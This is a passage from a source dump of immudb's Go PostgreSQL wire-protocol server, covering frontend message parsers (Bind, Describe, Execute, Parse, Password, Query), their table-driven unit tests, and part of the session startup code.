append(params, pVal)\n\t\t\tcontinue\n\t\t}\n\n\t\tswitch parameterFormatCodes[i] {\n\t\tcase 0:\n\t\t\tparams = append(params, string(pVal))\n\t\tcase 1:\n\t\t\tparams = append(params, pVal)\n\t\tdefault:\n\t\t\treturn BindMsg{}, pgserrors.ErrMalformedMessage\n\t\t}\n\t}\n\t// The number of result-column format codes that follow (denoted R below).\n\t// This can be zero to indicate that there are no result columns or that the result columns should all use the\n\t// default format (text); or one, in which case the specified format code is applied to all result columns (if any);\n\t// or it can equal the actual number of result columns of the query.\n\tresultColumnFormatCodesNumber, err := getNextInt16(r)\n\tif err != nil {\n\t\treturn BindMsg{}, err\n\t}\n\tif resultColumnFormatCodesNumber < 0 {\n\t\treturn BindMsg{}, pgserrors.ErrMalformedMessage\n\t}\n\n\tresultColumnFormatCodes := make([]int16, 0, resultColumnFormatCodesNumber)\n\tfor k := resultColumnFormatCodesNumber; k > 0; k-- {\n\t\tp, err := getNextInt16(r)\n\t\tif err != nil {\n\t\t\treturn BindMsg{}, err\n\t\t}\n\t\tresultColumnFormatCodes = append(resultColumnFormatCodes, p)\n\t}\n\n\treturn BindMsg{\n\t\tDestPortalName:          destPortalName,\n\t\tPreparedStatementName:   preparedStatement,\n\t\tParamVals:               params,\n\t\tResultColumnFormatCodes: resultColumnFormatCodes,\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/bind_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"math\"\n\t\"testing\"\n\n\tpgserror \"github.com/codenotary/immudb/pkg/pgsql/errors\"\n\th \"github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestParseBindMsg(t *testing.T) {\n\tvar tests = []struct {\n\t\tin  []byte\n\t\tout BindMsg\n\t\te   error\n\t}{\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{\n\t\t\t\tDestPortalName:          \"port\",\n\t\t\t\tPreparedStatementName:   \"st\",\n\t\t\t\tParamVals:               []interface{}{\"\\x00\\x01\"},\n\t\t\t\tResultColumnFormatCodes: []int16{1},\n\t\t\t},\n\t\t\tnil,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{\n\t\t\t\tDestPortalName:          \"port\",\n\t\t\t\tPreparedStatementName:   \"st\",\n\t\t\t\tParamVals:               []interface{}{\"\\x00\\x01\"},\n\t\t\t\tResultColumnFormatCodes: []int16{1},\n\t\t\t},\n\t\t\tnil,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(1), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{\n\t\t\t\tDestPortalName:          \"port\",\n\t\t\t\tPreparedStatementName:   \"st\",\n\t\t\t\tParamVals:               []interface{}{h.I16(1)},\n\t\t\t\tResultColumnFormatCodes: []int16{1},\n\t\t\t},\n\t\t\tnil,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(2), h.I16(1), h.I16(0), h.I16(2), h.I32(2), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{\n\t\t\t\tDestPortalName:          \"port\",\n\t\t\t\tPreparedStatementName:   \"st\",\n\t\t\t\tParamVals:               []interface{}{h.I16(1), \"\\x00\\x01\"},\n\t\t\t\tResultColumnFormatCodes: []int16{1},\n\t\t\t},\n\t\t\tnil,\n\t\t},\n\t\t{h.Join([][]byte{}),\n\t\t\tBindMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\")}),\n\t\t\tBindMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\")}),\n\t\t\tBindMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0)}),\n\t\t\tBindMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2)}),\n\t\t\tBindMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(5), h.I16(1), h.I32(2), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tpgserror.ErrMalformedMessage,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(2), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tpgserror.ErrMalformedMessage,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(2), h.I16(1), h.I16(0), h.I16(2), h.I32(math.MaxInt32), h.B(make([]byte, 1024)), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tpgserror.ErrParametersValueSizeTooLarge,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(1), h.I16(1), h.I32(-1), h.I16(-1), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tpgserror.ErrNegativeParameterValueLen,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(-1), h.I16(1), h.I16(1), h.I32(-1), h.I16(-1), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tpgserror.ErrMalformedMessage,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(1), h.I16(1), h.I16(1), h.I32(2), h.I16(1), h.I16(-1), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tpgserror.ErrMalformedMessage,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\"), h.S(\"st\"), h.I16(3), h.I16(1), h.I16(1), h.I16(3), h.I16(3), h.I32(2), h.I16(1), h.I32(2), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}),\n\t\t\tBindMsg{},\n\t\t\tpgserror.ErrMalformedMessage,\n\t\t},\n\t}\n\n\tpgmeta.MaxMsgSize = 1024\n\n\tfor i, tt := range tests {\n\t\tt.Run(fmt.Sprintf(\"%d_bind\", i), func(t *testing.T) {\n\t\t\ts, err := ParseBindMsg(tt.in)\n\t\t\trequire.Equal(t, tt.out, s)\n\t\t\trequire.ErrorIs(t, err, tt.e)\n\t\t})\n\t}\n\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/describe.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\ntype DescribeMsg struct {\n\t// 'S' to describe a prepared statement; or 'P' to describe a portal.\n\tDescType string\n\t// The name of the prepared statement or portal to describe (an empty string selects the unnamed prepared statement or portal).\n\tName string\n}\n\nfunc ParseDescribeMsg(msg []byte) (DescribeMsg, error) {\n\tdescType := msg[0]\n\treturn DescribeMsg{\n\t\tDescType: string(descType),\n\t\tName:     string(msg[1 : len(msg)-1]),\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/execute.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n)\n\n// Once a portal exists, it can be executed using an Execute message. The Execute message specifies the portal name\n// (empty string denotes the unnamed portal) and a maximum result-row count (zero meaning “fetch all rows”).\n// The result-row count is only meaningful for portals containing commands that return row sets; in other cases the\n// command is always executed to completion, and the row count is ignored. The possible responses to Execute are the\n// same as those described above for queries issued via simple query protocol, except that Execute doesn't cause\n// ReadyForQuery or RowDescription to be issued.\n//\n// If Execute terminates before completing the execution of a portal (due to reaching a nonzero result-row count), it\n// will send a PortalSuspended message; the appearance of this message tells the frontend that another Execute should be\n// issued against the same portal to complete the operation. The CommandComplete message indicating completion of the\n// source SQL command is not sent until the portal's execution is completed. Therefore, an Execute phase is always\n// terminated by the appearance of exactly one of these messages: CommandComplete, EmptyQueryResponse (if the portal was\n// created from an empty query string), ErrorResponse, or PortalSuspended.\ntype Execute struct {\n\t// The name of the portal to execute (an empty string selects the unnamed portal).\n\tPortalName string\n\t// Maximum number of rows to return, if portal contains a query that returns rows (ignored otherwise). Zero denotes “no limit”.\n\tMaxRows int32\n}\n\nfunc ParseExecuteMsg(payload []byte) (Execute, error) {\n\tb := bytes.NewBuffer(payload)\n\tr := bufio.NewReaderSize(b, len(payload))\n\tportalName, err := getNextString(r)\n\tif err != nil {\n\t\treturn Execute{}, err\n\t}\n\tmaxRows, err := getNextInt32(r)\n\tif err != nil {\n\t\treturn Execute{}, err\n\t}\n\treturn Execute{\n\t\tPortalName: portalName,\n\t\tMaxRows:    maxRows,\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/execute_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"testing\"\n\n\th \"github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestExecutedMsg(t *testing.T) {\n\tvar tests = []struct {\n\t\tin  []byte\n\t\tout Execute\n\t\te   error\n\t}{\n\t\t{h.Join([][]byte{h.S(\"port\"), h.I32(2)}),\n\t\t\tExecute{\n\t\t\t\t\"port\",\n\t\t\t\t// Maximum number of rows to return, if portal contains a query that returns rows (ignored otherwise). Zero denotes “no limit”.\n\t\t\t\t2,\n\t\t\t},\n\t\t\tnil,\n\t\t},\n\t\t{h.Join([][]byte{}),\n\t\t\tExecute{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"port\")}),\n\t\t\tExecute{},\n\t\t\tio.EOF,\n\t\t},\n\t}\n\n\tfor i, tt := range tests {\n\t\tt.Run(fmt.Sprintf(\"%d_execute\", i), func(t *testing.T) {\n\t\t\ts, err := ParseExecuteMsg(tt.in)\n\t\t\trequire.Equal(t, tt.out, s)\n\t\t\trequire.ErrorIs(t, err, tt.e)\n\t\t})\n\t}\n\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/flush.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\ntype FlushMsg struct{}\n\nfunc ParseFlushMsg(msg []byte) (FlushMsg, error) {\n\treturn FlushMsg{}, nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/fmessages_test/payload.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages_test\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n)\n\nfunc Join(chunk [][]byte) []byte {\n\treturn bytes.Join(chunk, nil)\n}\n\nfunc S(str string) []byte {\n\treturn bytes.Join([][]byte{[]byte(str), {0}}, nil)\n}\nfunc B(b []byte) []byte {\n\treturn b\n}\n\nfunc I16(i int) []byte {\n\tib := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(ib, uint16(i))\n\treturn ib\n}\nfunc I32(i int) []byte {\n\tib := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(ib, uint32(i))\n\treturn ib\n}\n\nfunc Msg(t byte, payload []byte) []byte {\n\tml := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(ml, uint32(len(payload)+4))\n\treturn bytes.Join([][]byte{{t}, ml, payload}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/parse.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n)\n\ntype ParseMsg struct {\n\t// The number of parameter data types specified (can be zero). Note that this is not an indication of the number of parameters that might appear in the query string, only the number that the frontend wants to prespecify types for.\n\tParamsCount int16\n\t// The name of the destination prepared statement (an empty string selects the unnamed prepared statement).\n\tDestPreparedStatementName string\n\t// The query string to be parsed.\n\tStatements string\n\t// Specifies the object IDs of the parameters data type. Placing a zero here is equivalent to leaving the type unspecified.\n\tObjectIDs []int32\n}\n\nfunc ParseParseMsg(payload []byte) (ParseMsg, error) {\n\tb := bytes.NewBuffer(payload)\n\tr := bufio.NewReaderSize(b, len(payload))\n\tdestPreparedStatementName, err := getNextString(r)\n\tif err != nil {\n\t\treturn ParseMsg{}, err\n\t}\n\tqueryString, err := getNextString(r)\n\tif err != nil {\n\t\treturn ParseMsg{}, err\n\t}\n\n\tpCount, err := getNextInt16(r)\n\tif err != nil {\n\t\treturn ParseMsg{}, err\n\t}\n\n\tobjectIDs := make([]int32, 0)\n\n\tfor k := int16(0); k < pCount; k++ {\n\t\tID, err := getNextInt32(r)\n\t\tif err != nil {\n\t\t\treturn ParseMsg{}, err\n\t\t}\n\t\tobjectIDs = append(objectIDs, ID)\n\t}\n\n\treturn ParseMsg{DestPreparedStatementName: destPreparedStatementName, Statements: queryString, ParamsCount: pCount, ObjectIDs: objectIDs}, nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/parse_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"testing\"\n\n\th \"github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestParsedMsg(t *testing.T) {\n\tvar tests = []struct {\n\t\tin  []byte\n\t\tout ParseMsg\n\t\te   error\n\t}{\n\t\t{h.Join([][]byte{h.S(\"st\"), h.S(\"statement\"), h.I16(1), h.I32(1)}),\n\t\t\tParseMsg{\n\t\t\t\tParamsCount:               1,\n\t\t\t\tDestPreparedStatementName: \"st\",\n\t\t\t\tStatements:                \"statement\",\n\t\t\t\tObjectIDs:                 []int32{1},\n\t\t\t},\n\t\t\tnil,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"st\"), h.S(\"statement\"), h.I16(1)}),\n\t\t\tParseMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"st\"), h.S(\"statement\")}),\n\t\t\tParseMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{h.S(\"st\")}),\n\t\t\tParseMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t\t{h.Join([][]byte{}),\n\t\t\tParseMsg{},\n\t\t\tio.EOF,\n\t\t},\n\t}\n\n\tfor i, tt := range tests {\n\t\tt.Run(fmt.Sprintf(\"%d_Parse\", i), func(t *testing.T) {\n\t\t\ts, err := ParseParseMsg(tt.in)\n\t\t\trequire.Equal(t, tt.out, s)\n\t\t\trequire.ErrorIs(t, err, tt.e)\n\t\t})\n\t}\n\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/password_message.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\ntype PasswordMsg struct {\n\tsecret string\n}\n\nfunc ParsePasswordMsg(payload []byte) (PasswordMsg, error) {\n\tpassword := payload[:len(payload)-1] //-1 A null-terminated string\n\treturn PasswordMsg{secret: string(password)}, nil\n}\n\nfunc (pw *PasswordMsg) GetSecret() string {\n\treturn pw.secret\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/query.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\ntype QueryMsg struct {\n\tstatements string\n}\n\nfunc ParseQueryMsg(payload []byte) (QueryMsg, error) {\n\tmsg := payload[:len(payload)-1] //-1 A null-terminated string\n\treturn QueryMsg{statements: string(msg)}, nil\n}\n\nfunc (q *QueryMsg) GetStatements() string {\n\treturn q.statements\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/string_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\nimport (\n\t\"bufio\"\n\t\"encoding/binary\"\n)\n\nfunc getNextString(r *bufio.Reader) (string, error) {\n\ts, err := r.ReadBytes(0)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(s[:len(s)-1]), nil\n}\n\nfunc getNextInt16(r *bufio.Reader) (int16, error) {\n\tpcb := make([]byte, 2)\n\t_, err := r.Read(pcb)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn int16(binary.BigEndian.Uint16(pcb)), nil\n}\n\nfunc getNextInt32(r *bufio.Reader) (int32, error) {\n\tpcb := make([]byte, 4)\n\t_, err := r.Read(pcb)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn int32(binary.BigEndian.Uint32(pcb)), nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/sync.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\n// At completion of each series of extended-query messages, the frontend should issue a Sync message. This parameterless\n// message causes the backend to close the current transaction if it's not inside a BEGIN/COMMIT transaction block\n// (“close” meaning to commit if no error, or roll back if error). Then a ReadyForQuery response is issued. The purpose\n// of Sync is to provide a resynchronization point for error recovery. When an error is detected while processing any\n// extended-query message, the backend issues ErrorResponse, then reads and discards messages until a Sync is reached,\n// then issues ReadyForQuery and returns to normal message processing. (But note that no skipping occurs if an error is\n// detected while processing Sync — this ensures that there is one and only one ReadyForQuery sent for each Sync.)\ntype SyncMsg struct{}\n\nfunc ParseSyncMsg(msg []byte) (SyncMsg, error) {\n\treturn SyncMsg{}, nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/fmessages/terminate.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fmessages\n\ntype TerminateMsg struct{}\n\nfunc ParseTerminateMsg(payload []byte) (TerminateMsg, error) {\n\treturn TerminateMsg{}, nil\n}\n"
  },
  {
    "path": "pkg/pgsql/server/initialize_session.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\tpserr \"github.com/codenotary/immudb/pkg/pgsql/errors\"\n\tbm \"github.com/codenotary/immudb/pkg/pgsql/server/bmessages\"\n\tfm \"github.com/codenotary/immudb/pkg/pgsql/server/fmessages\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\n// InitializeSession\nfunc (s *session) InitializeSession() (err error) {\n\tdefer func() {\n\t\tif err != nil {\n\t\t\ts.HandleError(err)\n\t\t\ts.mr.CloseConnection()\n\t\t}\n\t}()\n\n\tlb := make([]byte, 4)\n\tif _, err := s.mr.Read(lb); err != nil {\n\t\treturn err\n\t}\n\tpvb := make([]byte, 4)\n\tif _, err := s.mr.Read(pvb); err != nil {\n\t\treturn err\n\t}\n\n\ts.protocolVersion = parseProtocolVersion(pvb)\n\n\t// SSL Request packet\n\tif s.protocolVersion == pgmeta.PgsqlSSLRequestProtocolVersion {\n\t\tif s.tlsConfig == nil || len(s.tlsConfig.Certificates) == 0 {\n\t\t\tif _, err = s.writeMessage([]byte(`N`)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn pserr.ErrSSLNotSupported\n\t\t}\n\n\t\tif _, err = s.writeMessage([]byte(`S`)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err = s.handshake(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlb = make([]byte, 4)\n\t\tif _, err := s.mr.Read(lb); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpvb = make([]byte, 4)\n\t\tif _, err := s.mr.Read(pvb); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ts.protocolVersion = parseProtocolVersion(pvb)\n\t}\n\n\tif !isValidProtocolVersion(s.protocolVersion) {\n\t\treturn fmt.Errorf(\"%w: %s\", pgmeta.ErrInvalidPgsqlProtocolVersion, s.protocolVersion)\n\t}\n\n\t// startup message\n\tconnStringLenght := int(binary.BigEndian.Uint32(lb) - 8)\n\tif connStringLenght < 0 {\n\t\treturn pserr.ErrMalformedMessage\n\t}\n\n\tif connStringLenght > pgmeta.MaxMsgSize {\n\t\treturn pserr.ErrMessageTooLarge\n\t}\n\n\tconnString := make([]byte, connStringLenght)\n\n\tif _, err := s.mr.Read(connString); err != nil {\n\t\treturn err\n\t}\n\n\tpr := bufio.NewScanner(bytes.NewBuffer(connString))\n\n\tsplit := func(data []byte, atEOF bool) (int, []byte, error) {\n\t\tif atEOF && len(data) == 0 {\n\t\t\treturn 0, nil, nil\n\t\t}\n\t\tif i := bytes.IndexByte(data, 0); i >= 0 {\n\t\t\treturn i + 1, data[0:i], nil\n\t\t}\n\t\tif atEOF {\n\t\t\treturn len(data), data, nil\n\t\t}\n\t\treturn 0, nil, nil\n\t}\n\n\tpr.Split(split)\n\n\tpmap := make(map[string]string)\n\n\tfor pr.Scan() {\n\t\tkey := pr.Text()\n\t\tfor pr.Scan() {\n\t\t\tvalue := pr.Text()\n\t\t\tif value != \"\" {\n\t\t\t\tpmap[key] = value\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n\n\ts.connParams = pmap\n\n\treturn nil\n}\n\n// HandleStartup errors are returned and handled in the caller\nfunc (s *session) HandleStartup(ctx context.Context) (err error) {\n\tdefer func() {\n\t\tif err != nil {\n\t\t\ts.HandleError(err)\n\t\t\ts.mr.CloseConnection()\n\t\t}\n\t}()\n\n\tuser, ok := s.connParams[\"user\"]\n\tif !ok || user == \"\" {\n\t\treturn pserr.ErrUsernameNotprovided\n\t}\n\ts.user = user\n\n\tdb, ok := s.connParams[\"database\"]\n\tif !ok {\n\t\treturn pserr.ErrDBNotprovided\n\t}\n\n\ts.db, err = s.dbList.GetByName(db)\n\tif err != nil {\n\t\tif errors.Is(err, database.ErrDatabaseNotExists) {\n\t\t\treturn pserr.ErrDBNotExists\n\t\t}\n\t\treturn err\n\t}\n\n\tif _, err = s.writeMessage(bm.AuthenticationCleartextPassword()); err != nil {\n\t\treturn err\n\t}\n\n\tmsg, _, err := s.nextMessage()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tpw, ok := msg.(fm.PasswordMsg)\n\tif !ok || pw.GetSecret() == \"\" {\n\t\treturn pserr.ErrPwNotprovided\n\t}\n\n\tvar transportCredentials credentials.TransportCredentials\n\n\tif s.tlsConfig == nil || s.tlsConfig.RootCAs == nil {\n\t\ttransportCredentials = insecure.NewCredentials()\n\t} else {\n\t\tconfig := &tls.Config{\n\t\t\tRootCAs: 